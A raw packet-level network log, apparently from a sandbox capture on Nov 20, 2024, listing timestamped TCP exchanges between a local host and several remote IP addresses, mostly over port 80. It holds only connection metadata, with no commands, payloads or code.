Nov 20, 2024 14:43:44.980956078 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.980986118 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.981009960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.981880903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.981971025 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.982006073 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.982057095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.982939005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.982995033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.983165979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.983222008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.983994961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.984177113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.984441042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.984743118 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.984951019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.985025883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.986022949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.986056089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.986079931 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.986092091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.986104965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.986135960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.986993074 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.987072945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.987159967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.987212896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.987997055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.988059998 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.988239050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.988311052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.988997936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.989110947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.989221096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.989273071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.990014076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.990076065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.990583897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.990751028 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.991089106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.991122961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.991154909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.991193056 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:44.992120981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:44.992192984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.051599026 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.052536964 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.052598000 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.053011894 CET	49882	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:45.053029060 CET	443	49882	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:45.094106913 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.094373941 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.094391108 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.098181963 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.098251104 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.098628998 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.098771095 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.098814964 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.140250921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.140316010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.140501022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.140542984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.140754938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.140777111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.140825033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.141658068 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.141724110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.141879082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.141977072 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.142683029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.142740965 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.142859936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.142911911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.143760920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.143821001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.144011021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.144139051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.144779921 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.144793987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.144834042 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.145725965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.145781040 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.145797968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.145865917 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.146828890 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.146842957 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.146929026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.147819042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.147871971 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.148818970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.148830891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.148873091 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.148905993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.148926020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.148952961 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.149823904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.149879932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.149880886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.149930000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.150804996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.150861025 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.151015997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.151063919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.151941061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.151953936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.152009964 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.152900934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.152950048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.153079987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.153129101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.153863907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.153923035 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.153990030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.154203892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.154885054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.154947996 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.155260086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.155318975 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.155932903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.155987024 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.155987024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.156117916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.156946898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.157059908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.157980919 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.157994986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.158005953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.158025026 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.158052921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.158973932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.159048080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.159205914 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.159256935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.160043001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.160056114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.160111904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.160990953 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.161048889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.161477089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.161531925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.162040949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.162054062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.162101984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.163110018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.163177013 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.163220882 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.163373947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.163939953 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.164040089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.164097071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.164191008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.164199114 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.164233923 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.164282084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.164632082 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.164946079 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.165055990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.165067911 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.165102005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.165122032 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.165149927 CET	443	49883	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.165214062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.165272951 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.165390015 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.165410042 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.166109085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.166284084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.166516066 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.166584969 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.166589975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.166639090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.167112112 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.167268038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.167431116 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.167530060 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.167642117 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.167783976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.167804003 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.167814016 CET	443	49885	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.168180943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.168230057 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.168323994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.168376923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.169148922 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.169239044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.169281006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.169327021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.170181036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.170236111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.170358896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.170412064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.171292067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.171405077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.172231913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.172245979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.172257900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.172298908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.172332048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.173290014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.173345089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.173752069 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.173801899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.174252987 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.174305916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.175290108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.175303936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.175355911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.175360918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.175390005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.175400972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.176274061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.176328897 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.176779985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.176832914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.177304029 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.177356005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.177769899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.177892923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.178386927 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.178438902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.178740978 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.178792000 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.179342031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.179395914 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.179636955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.179685116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.180341005 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.180396080 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.180449009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.180493116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.181369066 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.181427956 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.181457043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.181493044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.182394981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.182457924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.182888031 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.183269024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.183394909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.183444023 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.183607101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.183852911 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.184477091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.184530020 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.184603930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.184834003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.185465097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.185523033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.186126947 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.186299086 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.186496019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.186510086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.186557055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.187510967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.187661886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.187665939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.187715054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.188493967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.188549042 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.188622952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.188674927 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.189568996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.189641953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.189793110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.189861059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.190547943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.190608025 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.190680981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.190808058 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.191584110 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.191634893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.191711903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.191761017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.192585945 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.192620993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.192637920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.192662954 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.193531036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.193581104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.209692001 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.209882975 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.209896088 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.210740089 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.210954905 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.210968018 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.210975885 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.211036921 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.211301088 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.211384058 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.211496115 CET	49884	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.211503983 CET	443	49884	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.212066889 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.212138891 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.212342024 CET	49886	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.212347984 CET	443	49886	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.212380886 CET	49883	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.213696957 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.213762999 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.214284897 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.214293957 CET	443	49887	13.107.246.38	192.168.2.6
Nov 20, 2024 14:43:45.238944054 CET	49898	443	192.168.2.6	18.173.219.84
Nov 20, 2024 14:43:45.238972902 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:45.239064932 CET	49898	443	192.168.2.6	18.173.219.84
Nov 20, 2024 14:43:45.239289045 CET	49898	443	192.168.2.6	18.173.219.84
Nov 20, 2024 14:43:45.239331007 CET	443	49898	18.173.219.84	192.168.2.6
Nov 20, 2024 14:43:45.240060091 CET	49899	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240081072 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.240199089 CET	49899	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240343094 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240366936 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.240448952 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240453005 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240509033 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.240606070 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240720034 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240727901 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.240878105 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240976095 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.240997076 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.241106033 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.241172075 CET	49899	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.241197109 CET	443	49899	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.241312027 CET	49900	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.241324902 CET	443	49900	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.241441011 CET	49901	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.241486073 CET	443	49901	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.241534948 CET	49902	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.241544962 CET	443	49902	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.241673946 CET	49903	443	192.168.2.6	23.44.133.12
Nov 20, 2024 14:43:45.241693020 CET	443	49903	23.44.133.12	192.168.2.6
Nov 20, 2024 14:43:45.293684959 CET	49885	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.293855906 CET	49887	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:45.341571093 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.341608047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.341644049 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.341671944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.342011929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.342067003 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:45.342103004 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:45.342320919 CET	49800	80	192.168.2.6	185.215.113.206
